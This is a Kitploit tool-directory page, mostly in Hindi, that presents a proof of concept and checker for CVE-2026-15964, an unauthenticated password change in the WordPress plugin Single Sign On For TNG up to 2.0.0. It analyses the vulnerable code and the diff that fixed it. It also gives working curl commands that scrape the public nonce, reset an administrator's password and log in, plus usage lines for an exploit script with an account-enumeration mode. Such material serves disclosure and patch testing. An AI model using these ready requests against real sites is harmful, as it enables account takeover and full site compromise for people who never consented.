Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-15964-PoC — CVE-2026-15964 के लिए PoC और जाँचकर्ता - WordPress प्लगइन Single Sign On For TNG <= 2.0.0 में बिना प्रमाणीकरण के पासवर्ड परिवर्तन (CVSS 9.8) | Kitploit
उपकरण/GitHubGitHub/instructor-admin/cve-2026-15964-poc
प्रमाणीकरण और प्राधिकरणविशेषाधिकार वृद्धिवेब भेद्यता स्कैनरशोषणवेब एप्लिकेशन शोषणजानकारी एकत्र करनावेब सुरक्षापेनिट्रेशन टेस्टिंग

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHubinstructor-admin/cve-2026-15964-poc

CVE-2026-15964-PoC

CVE-2026-15964 के लिए PoC और जाँचकर्ता - WordPress प्लगइन Single Sign On For TNG <= 2.0.0 में बिना प्रमाणीकरण के पासवर्ड परिवर्तन (CVSS 9.8)

रिपॉजिटरी देखें
1131 महीना पहलेअभी तक समीक्षित नहीं

CVE-2026-15964 - Single Sign On For TNG <= 2.0.0

POC

वर्डप्रेस प्लगइन Single Sign On For TNG में असत्यापित पासवर्ड परिवर्तन के माध्यम से बिना प्रमाणीकरण के विशेषाधिकार वृद्धि।

गंभीरताक्रिटिकल (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-620 (Unverified Password Change)
प्रभावितप्लगइन संस्करण 1.0.0 से 2.0.0
समाधान2.1.0 (2026-07-27 को जारी)
प्रकाशित2026-08-01
प्रमाणीकरण आवश्यककोई नहीं (wp_ajax_nopriv_ssoprocess_ajax)
प्रभावकिसी भी WordPress खाते का पासवर्ड बदलना, जिसमें व्यवस्थापक भी शामिल हैं - पूर्ण साइट अधिग्रहण
प्लगइनhttps://wordpress.org/plugins/single-sign-on-for-tng/

TL;DR

2.0.0 या उससे पहले के संस्करण पर चलने वाले प्लगइन वाली किसी भी साइट पर कोई भी बिना प्रमाणीकृत आगंतुक किसी भी खाते का पासवर्ड बदल सकता है। दो HTTP अनुरोध:

  1. होमपेज का GET करें और SSOPWDREQUIREMENT JavaScript ऑब्जेक्ट से nonce कॉपी करें।
  2. इसे operation=setnewpassword, पीड़ित के ईमेल और एक नए पासवर्ड के साथ admin-ajax.php पर POST करें।

बाकी काम वर्डप्रेस कोर का reset_password() कर देता है। कोई टोकन नहीं, कोई ईमेल पुष्टिकरण लिंक नहीं, कोई क्षमता जाँच नहीं। उसके बाद व्यवस्थापक के रूप में लॉग इन करें।

NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}

यह क्यों काम करता है

हैंडलर बिना प्रमाणीकृत उपयोगकर्ताओं के लिए पंजीकृत है

single-sign-on-for-tng.php (v2.0.0) में:

add_action('wp_ajax_ssoprocess_ajax',        array($this, 'ssoprocess_ajax'));   // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax'));   // line 69

wp_ajax_nopriv_* का अर्थ है कि हैंडलर बिना किसी सत्र के पहुँच योग्य है।

एकमात्र सुरक्षा वह nonce है जिसे प्लगइन हर आगंतुक को देता है

load_scripts() को wp_enqueue_scripts से जोड़ा गया है, इसलिए हर फ्रंट-एंड पेज पर प्लगइन इसे HTML में प्रिंट करता है:

wp_localize_script('general_script','SSOPWDREQUIREMENT',
    array('passwordspec'=>PASSWORDSPEC,
          'url'=>admin_url('admin-ajax.php'),
          'nonce'=>wp_create_nonce("ssoajaxnonce")));                              // line 96

जो इस प्रकार प्रस्तुत होता है:

<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>

और हैंडलर इसे इस प्रकार सत्यापित करता है:

public function ssoprocess_ajax() {
    global $wpdb;
    check_ajax_referer('ssoajaxnonce', 'nonce');   // line 104
    ...

असली बात यह है: वर्डप्रेस wp_create_nonce($action) के साथ uid और सत्र टोकन का उपयोग करके nonce की गणना करता है। लॉग-आउट आगंतुकों के लिए वे 0 और एक खाली स्ट्रिंग होते हैं, जिसका अर्थ है कि हर अनाम आगंतुक को बिल्कुल वही nonce मिलता है। इसे केवल हर 12 घंटे में बदला जाता है (nonce tick)। इसलिए प्लगइन द्वारा किसी भी आगंतुक के लिए प्रिंट किया गया nonce हमलावर के लिए भी मान्य है - चुराने के लिए कोई रहस्य नहीं है, यह पेज पर ही प्रकाशित होता है।

और फिर वास्तविक परिवर्तन, स्वामित्व के शून्य प्रमाण के साथ

switch ($op) {
    case 'setnewpassword':
        if (!isset($post['email']) || !isset($post['password'])) { ... }
        $email = wp_unslash($post['email']);
        $user  = get_user_by('email', $email);
        if ($user !== false) {
            reset_password($user, $post['password']);   // line 120
            ...
            wp_send_json_success(array('success'=>true));
        }
        else
            wp_send_json_error(array('success'=>false));
        break;

reset_password() एक वर्डप्रेस कोर फ़ंक्शन है। यह नया हैश सेट करता है, पीड़ित को अन्य सभी सत्रों से लॉग आउट करता है, और password_reset / after_password_reset एक्शन को ट्रिगर करता है। इसे यहाँ बिना किसी ऐसी चीज़ के कॉल किया जाता है जो यह साबित करे कि कॉल करने वाला खाते का स्वामी है।

जानने लायक दो अतिरिक्त बातें:

  • इस पथ पर कोई सर्वर-साइड पासवर्ड शक्ति जाँच नहीं है। प्लगइन के MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC नियम केवल Forminator फ़ॉर्म के लिए validate_form() में लागू होते हैं, यहाँ कभी नहीं। कोई भी पासवर्ड स्वीकार किया जाता है।
  • खाता एन्यूमरेशन। {"success":true} बनाम {"success":false} बताता है कि ईमेल पंजीकृत है या नहीं। चेकर का --enum-only मोड इसका उपयोग करता है।
  • उसी फ़ंक्शन में बोनस बग: operation=set_tzoffset बिना प्रमाणीकरण के update_option('localtzoffset', $post['timezoneoffset']) को कॉल करता है। RCE के लिए सीधे शोषण योग्य नहीं है, लेकिन यह एक बिना प्रमाणीकृत विकल्प लेखन है और राइटअप में उल्लेख के योग्य है।

2.1.0 में क्या बदला

2.0.0 की तुलना 2.1.0 से करने पर सुधार स्पष्ट हो जाता है (और बग की पुष्टि होती है):

             case 'setnewpassword':
+                $timeout = intval($post['timeout']);
+                if (time() > $timeout) {
+                    // clears custom_recovery_token / _expiration / _nonce user meta
+                    wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+                    return;
+                }
                 $email = wp_unslash($post['email']);
                 $user  = get_user_by('email',$email);
                 if ($user !== false) {
                     reset_password($user,$post['password']);

साथ ही, newpasswordform() में:

+            if (empty($_GET['uid']))
+                return ... "An unexpected error occurred." ...
+            $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+            // The nonce is checked here
+            if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+                return ... "This recovery link is no longer valid." ...

तो 2.1.0 में प्रवाह इस प्रकार है: एक वास्तविक पुनर्प्राप्ति अनुरोध उपयोगकर्ता मेटा में प्रति-उपयोगकर्ता custom_recovery_token + custom_recovery_nonce संग्रहीत करता है, पुनर्प्राप्ति लिंक उपयोगकर्ता आईडी रखता है, फ़ॉर्म दोनों को सत्यापित करता है, और पुनर्प्राप्ति विंडो (timeout) समाप्त होने के बाद AJAX हैंडलर चलने से इनकार कर देता है। एक हमलावर जो वैध पुनर्प्राप्ति रिकॉर्ड नहीं बना सकता, वह अब setnewpassword नहीं चला सकता।


पुनरुत्पादन (मैनुअल)

चरण 1 - nonce निकालें

curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"

चरण 2 - पासवर्ड बदलें

curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -H "X-Requested-With: XMLHttpRequest" \
  -d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"

कमजोर इंस्टॉल पर अपेक्षित प्रतिक्रिया: {"success":true}

चरण 3 - लॉग इन करें

curl -sk -X POST https://target/wp-login.php \
  -d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"

PoC: CVE-2026-15964.py

एकल-साइट एक्सप्लॉइट। गैर-विनाशकारी मोड शामिल हैं।

# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'

# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only

# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12

# account existence oracle (no password is set)
python3 CVE-2026-15964.py -u https://target -e [email protected] --enum-only

# fully passive: is the plugin even installed? (GET only)
python3 CVE-2026-15964.py -u https://target --check

चेकर: CVE-2026-15964-checker.py

टूल डाउनलोड करें